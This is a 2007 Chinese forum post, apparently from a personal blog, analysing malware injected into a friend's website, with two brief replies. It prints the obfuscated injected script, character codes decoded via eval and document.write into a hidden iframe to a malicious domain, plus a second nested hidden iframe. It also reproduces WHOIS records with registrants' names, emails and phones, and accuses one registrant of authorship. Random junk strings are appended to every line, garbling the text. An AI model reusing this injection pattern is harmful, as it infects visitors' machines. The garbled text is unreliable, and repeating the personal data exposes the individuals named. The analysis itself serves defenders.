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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, dg]: JU  
g>O O '}lF  
http://www.areway.cn/?p=175 [8Zvs=1  
f"G?#dW/1  
aC2\C=ru_  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: N-Nq*  
          GE[J`?E]  
<script>t=’60,105,102,114,97,109,101, #!X4\+)  
32,115,114,99,61,104,116,116,112,58,47,47, }EZd=_kAq~  
102,114,101,101,46,117,45,117,117,117,46,99, 9 nPc>O$  
110,47,101,114,114,111,114,46,104,116,109, ^.@BD4/RPt  
32,119,105,100,116,104,61,49,48,48,32,104, RK`C31Ws  
101,105,103,104,116,61,48,62,60,47,105,102, Xm2p<Xu8h  
114,97,109,101,62′; `by\@xQ)  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 5b2_{6t  
                                                                                                  tk <R|i  
<script>t=’60,105,102,114,97,109,101,32,115, eO:wx.PW  
114,99,61,104,116,116,112,58,47,47,102,114, IZkQmA=  
101,101,46,117,45,117,117,117,46,99,110,47, kW@,P.88  
101,114,114,111,114,46,104,116,109,32,119, \L: ;~L/  
105,100,116,104,61,49,48,48,32,104,101,105, -q.tU*xf'  
103,104,116,61,48,62,60,47,105,102,114,97, )!&7XL[  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); m:7$"oq|  
document.write(t);</script> AG$S;)Yl9c  
                                                                                                  IA XoEBlMs  
<html xmlns=” 80M"`6  
http://www.w3.org/1999/xhtml 6U`yf&D  
“> @dzO{)  
<head> AI&Bv  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> T~rPpi&  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> }t[?g)"M#-  
<title>首页 - 爱生活家庭网 Y&Sk/8  
                                                                                                                                                    Z'vGX,:  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 Je#vl4<L  
转换字符串后的大概内容是(谁点击后果自付): X^U)j N2  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… j[fVF3v  
                                                                                                                                  D|}%(N@sl  
查询玉米u-uuu.cn的详细信息: Ol~j q;75  
Domain Name: u-uuu.cn jCMr[ G=  
ROID: 20070901s10001s64972306-cn Q~A25Jf .  
Domain Status: ok 2=TQU33#  
Registrant Organization: 王雷 Uva b*9vX  
Registrant Name: 王雷 ;U=RV&  
Administrative Email: czlovexs@126.com v/E_A3Ay&  
Sponsoring Registrar: 北京万网志成科技有限公司 ;9r`P_r  
Name Server:ns.yovole.com 2%'iTXF  
Name Server:ns1.yovole.com Xk_xTzJ  
Registration Date: 2007-09-01 17:54 %!G]H   
Expiration Date: 2008-09-01 17:54 XJ|CC.]1u  
最后PING了一下地址 都没有什么…. jQp7TdvLE$  
                                                                                                =~i~SG/f  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. _^<HlfOK  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> pk*cc h#  
<script language=”javascript” src=” R)3P"sGuN  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script rVx%"_'*-  
> #mNM5(o  
这个玉米应该有可能是木马作者的: i%8I (F  
foafau.info的详细信息: w>:~Ev]  
Access to INFO WHOIS information is provided to assist persons in ]e'Ol$3U9=  
determining the contents of a domain name registration record in the "?Eh_Dw  
Afilias registry database. The data in this record is provided by s\6kXR  
Afilias Limited for informational purposes only, and Afilias does not .&AS-">Z  
guarantee its accuracy.  This service is intended only for query-based ~L G).  
access. You agree that you will use this data only for lawful purposes 8]N  
and that, under no circumstances will you use this data to: (a) allow, q89#Ftkt  
enable, or otherwise support the transmission by e-mail, telephone, or ztNm,1pnQ  
facsimile of mass unsolicited, commercial advertising or solicitations `43`*=  
to entities other than the data recipient’s own existing customers; or 8Q&hhmOnz  
(b) enable high volume, automated, electronic processes that send wr/Z)e =^3  
queries or data to the systems of Registry Operator, a Registrar, or G H N  
Afilias except as reasonably necessary to register domain names or meHAa`  
modify existing registrations. All rights reserved. Afilias reserves ]E1aIt  
the right to modify these terms at any time. By submitting this query, Qo !/]\  
you agree to abide by this policy. ckXJ9>  
Domain ID:D22418703-LRMS d3fF|Wp1  
Domain Name:FOAFAU.INFO S(^*DV  
Created On:20-Nov-2007 16:05:42 UTC ]OE{qXr{  
Last Updated On:20-Nov-2007 16:05:44 UTC 0jsU^m<g  
Expiration Date:20-Nov-2008 16:05:42 UTC _yq"F#,*  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) x:`]uOp  
Status:CLIENT DELETE PROHIBITED sglYT!O  
Status:CLIENT RENEW PROHIBITED 5TqT`XTzm  
Status:CLIENT TRANSFER PROHIBITED xr uQ=Q  
Status:CLIENT UPDATE PROHIBITED )p&FDK#ob=  
Status:TRANSFER PROHIBITED ;O*y$|+PA  
Registrant ID:GODA-040110615 -0 [^w  
Registrant Name:liu hong ]>NP?S )R  
Registrant Organization: \dAh^BK1(  
Registrant Street1:beijing 2,c{Z$\kn  
Registrant Street2: #<X+)B6t  
Registrant Street3: U5; D'G  
Registrant City:beijing OTA@4~{C  
Registrant State/Province: 2jTP (b2b  
Registrant Postal Code:100000 ]VifDFL}  
Registrant Country:CN }|rnyYA  
Registrant Phone:+86.860108888777 hKq#i8py  
Registrant Phone Ext.: NGD?.^ (G  
Registrant FAX: M^\#(0^2@  
Registrant FAX Ext.: Vd2bG4*=  
Registrant Email:bbbshiji@163.com fZ2>%IxG}  
Admin ID:GODA-240110615 P;D)5yP092  
Admin Name:liu hong X'4g\)*  
Admin Organization: / c1=`OJ  
Admin Street1:beijing Fi+v:L|  
Admin Street2: bq/*99``  
Admin Street3: =@U~ sl [  
Admin City:beijing #/NZ0IbHk  
Admin State/Province: HhN;&67~Z  
Admin Postal Code:100000 Y_3 {\g|x  
Admin Country:CN e&G!5kz!  
Admin Phone:+86.860108888777 T6[];|%W  
Admin Phone Ext.: PN ,pEk|  
Admin FAX: yUF<qB  
Admin FAX Ext.: -s`/5kD  
Admin Email:bbbshiji@163.com -/:N&6eRb  
Billing ID:GODA-340110615 S}Wj+H;  
Billing Name:liu hong qJ=4HlLno  
Billing Organization: :-B,Q3d  
Billing Street1:beijing zY\pZG  
Billing Street2: 1ID0'j$  
Billing Street3: 7mipj]  
Billing City:beijing ]sBSLEie '  
Billing State/Province: c:0nOP  
Billing Postal Code:100000 ) -+u8#  
Billing Country:CN {_0m0 8  
Billing Phone:+86.860108888777 H#IJ&w|  
Billing Phone Ext.: `+_UG^aeW  
Billing FAX: -lr)z=})  
Billing FAX Ext.: eMk?#&a)  
Billing Email:bbbshiji@163.com D9 ~jMcX  
Tech ID:GODA-140110615 rPVz !(;k  
Tech Name:liu hong p\]Mf#B  
Tech Organization: *NdSL  
Tech Street1:beijing aZt5/|B  
Tech Street2: 8RJXY:%  
Tech Street3: 1 "'t5?XW  
Tech City:beijing t|Cp<k]B  
Tech State/Province: uGIA4CUm  
Tech Postal Code:100000 1!,xB]v1Ri  
Tech Country:CN 3.M<ATe^  
Tech Phone:+86.860108888777 :<ye:P1s  
Tech Phone Ext.: %|L+~=  
Tech FAX: B#RwW,  
Tech FAX Ext.: j(4BMk  
Tech Email:bbbshiji@163.com " N)dle,  
Name Server:NS27.DOMAINCONTROL.COM *oAv:8"iY  
Name Server:NS28.DOMAINCONTROL.COM P;o6rQf  
Name Server: %~`8F\Hiu  
Name Server: D_oGhQYY4  
Name Server: t sdkpt  
Name Server: 2GNtO!B.  
Name Server: 0d!1;jy,T  
Name Server: iiS^xqSNCt  
Name Server: {ndL]c'v  
Name Server: |7Fe~TC  
Name Server: J;|r00M  
Name Server: 7`;55Se  
Name Server: ~kUdHne (  
                                                                                                          XXsN)2  
接着下载每个文件里面的代码: *-~B{2b<  
一步一步看.. aIV(&7KT4  
07WZ w1(;  
H)&6I33`  
%a%x`S3  
'\qd{mM\r  
lhsd 39NM  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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